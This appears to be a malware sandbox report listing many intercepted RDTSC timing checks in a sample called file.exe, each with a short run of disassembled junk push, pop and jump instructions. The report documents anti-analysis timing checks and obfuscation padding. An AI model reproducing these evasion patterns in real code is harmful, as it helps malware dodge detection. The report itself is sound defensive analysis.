Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C922 second address: 68C93C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F85E0BBFC1Eh 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C01C second address: 68C021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C021 second address: 68C043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007F85E0BBFC16h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F85E0BBFC1Fh 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D3B8 second address: 68D3BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D3BE second address: 68D3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DE9E second address: 68DEA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DEA2 second address: 68DEC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F85E0BBFC27h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E661 second address: 68E67A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F85E0CFF5ECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E67A second address: 68E67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FF6B second address: 68FF6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FF6F second address: 68FF75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692B90 second address: 692BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F85E0CFF5ECh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692BA0 second address: 692BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6950C1 second address: 6950C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696142 second address: 696164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F85E0BBFC1Fh 0x00000011 jns 00007F85E0BBFC16h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698134 second address: 698139 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6963B5 second address: 6963BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F85E0BBFC16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697251 second address: 697256 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69836D second address: 698372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69919D second address: 6991A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F85E0CFF5E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B1D9 second address: 69B206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jp 00007F85E0BBFC1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F85E0BBFC27h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B206 second address: 69B20A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AAFE second address: 63AB02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AB02 second address: 63AB0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B820 second address: 69B854 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F85E0BBFC24h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F85E0BBFC25h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B854 second address: 69B866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C89E second address: 69C925 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F85E0BBFC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F85E0BBFC18h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jmp 00007F85E0BBFC25h 0x0000001a ja 00007F85E0BBFC18h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 nop 0x00000024 jmp 00007F85E0BBFC1Fh 0x00000029 push 00000000h 0x0000002b mov edi, eax 0x0000002d mov dword ptr [ebp+122D1E20h], edx 0x00000033 push 00000000h 0x00000035 jmp 00007F85E0BBFC1Fh 0x0000003a xchg eax, esi 0x0000003b jo 00007F85E0BBFC1Ah 0x00000041 push esi 0x00000042 pushad 0x00000043 popad 0x00000044 pop esi 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push ebx 0x00000049 jmp 00007F85E0BBFC29h 0x0000004e pop ebx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DA83 second address: 69DA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2186 second address: 6A218A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A218A second address: 6A218E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A218E second address: 6A21B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F85E0BBFC27h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CB35 second address: 69CB43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F85E0CFF5E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DBF9 second address: 69DBFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A21B1 second address: 6A21B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FBDF second address: 69FBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DBFE second address: 69DC10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F85E0CFF5EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FBE4 second address: 69FC1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F85E0BBFC21h 0x00000008 jmp 00007F85E0BBFC1Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F85E0BBFC21h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A31BC second address: 6A31E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F85E0CFF5F6h 0x0000000a popad 0x0000000b push eax 0x0000000c jng 00007F85E0CFF607h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A31E3 second address: 6A31E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A41FA second address: 6A41FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A333C second address: 6A3342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A41FE second address: 6A4209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3342 second address: 6A3346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A44E2 second address: 6A44F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jp 00007F85E0CFF5E8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A880C second address: 6A8810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD06C second address: 6AD070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD070 second address: 6AD07C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD07C second address: 6AD080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD080 second address: 6AD084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD084 second address: 6AD08A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEF50 second address: 6AEF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0BBFC25h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEF6B second address: 6AEF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3183 second address: 6B31AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 js 00007F85E0BBFC16h 0x0000000c pop edx 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F85E0BBFC24h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B31AC second address: 6B31CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B31CD second address: 6B31FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jo 00007F85E0BBFC1Eh 0x0000000f ja 00007F85E0BBFC18h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F85E0BBFC22h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B45E2 second address: 6B45E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B45E6 second address: 6B45EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B77F4 second address: 6B780C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F85E0CFF5F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B780C second address: 6B781E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F85E0BBFC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F85E0BBFC22h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B781E second address: 6B7824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB6A0 second address: 6BB6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB6A6 second address: 6BB6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F85E0CFF5E6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F85E0CFF5E6h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB6BD second address: 6BB6C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBDD4 second address: 6BBDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBDDA second address: 6BBDDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBDDE second address: 6BBE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5F0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jmp 00007F85E0CFF5ECh 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBE08 second address: 6BBE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBE0C second address: 6BBE10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBF67 second address: 6BBF9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F85E0BBFC22h 0x00000011 jmp 00007F85E0BBFC1Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBF9C second address: 6BBFA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC0C1 second address: 6BC0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0BBFC1Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC0D4 second address: 6BC0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5F7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC72F second address: 6BC738 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC738 second address: 6BC743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC743 second address: 6BC783 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F85E0BBFC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F85E0BBFC33h 0x00000012 jno 00007F85E0BBFC1Eh 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1362 second address: 6C136A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C136A second address: 6C1370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1816 second address: 6C181A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C181A second address: 6C1820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1820 second address: 6C1828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C19D5 second address: 6C19DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7A80 second address: 6C7AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F85E0CFF5F8h 0x0000000b popad 0x0000000c pop ebx 0x0000000d jng 00007F85E0CFF615h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7AAA second address: 6C7AB3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7AB3 second address: 6C7AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6442 second address: 6C6446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C65BD second address: 6C65C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C65C1 second address: 6C65DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0BBFC27h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C65DE second address: 6C65E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C65E4 second address: 6C65E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6735 second address: 6C6745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F85E0CFF5E6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C69FF second address: 6C6A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F85E0BBFC25h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6E67 second address: 6C6E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5F0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6E7B second address: 6C6E87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6E87 second address: 6C6E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6E8B second address: 6C6E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7037 second address: 6C703B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C703B second address: 6C7066 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F85E0BBFC16h 0x00000008 jmp 00007F85E0BBFC21h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jmp 00007F85E0BBFC1Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7066 second address: 6C7077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C71B6 second address: 6C71C5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F85E0BBFC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C730D second address: 6C7311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
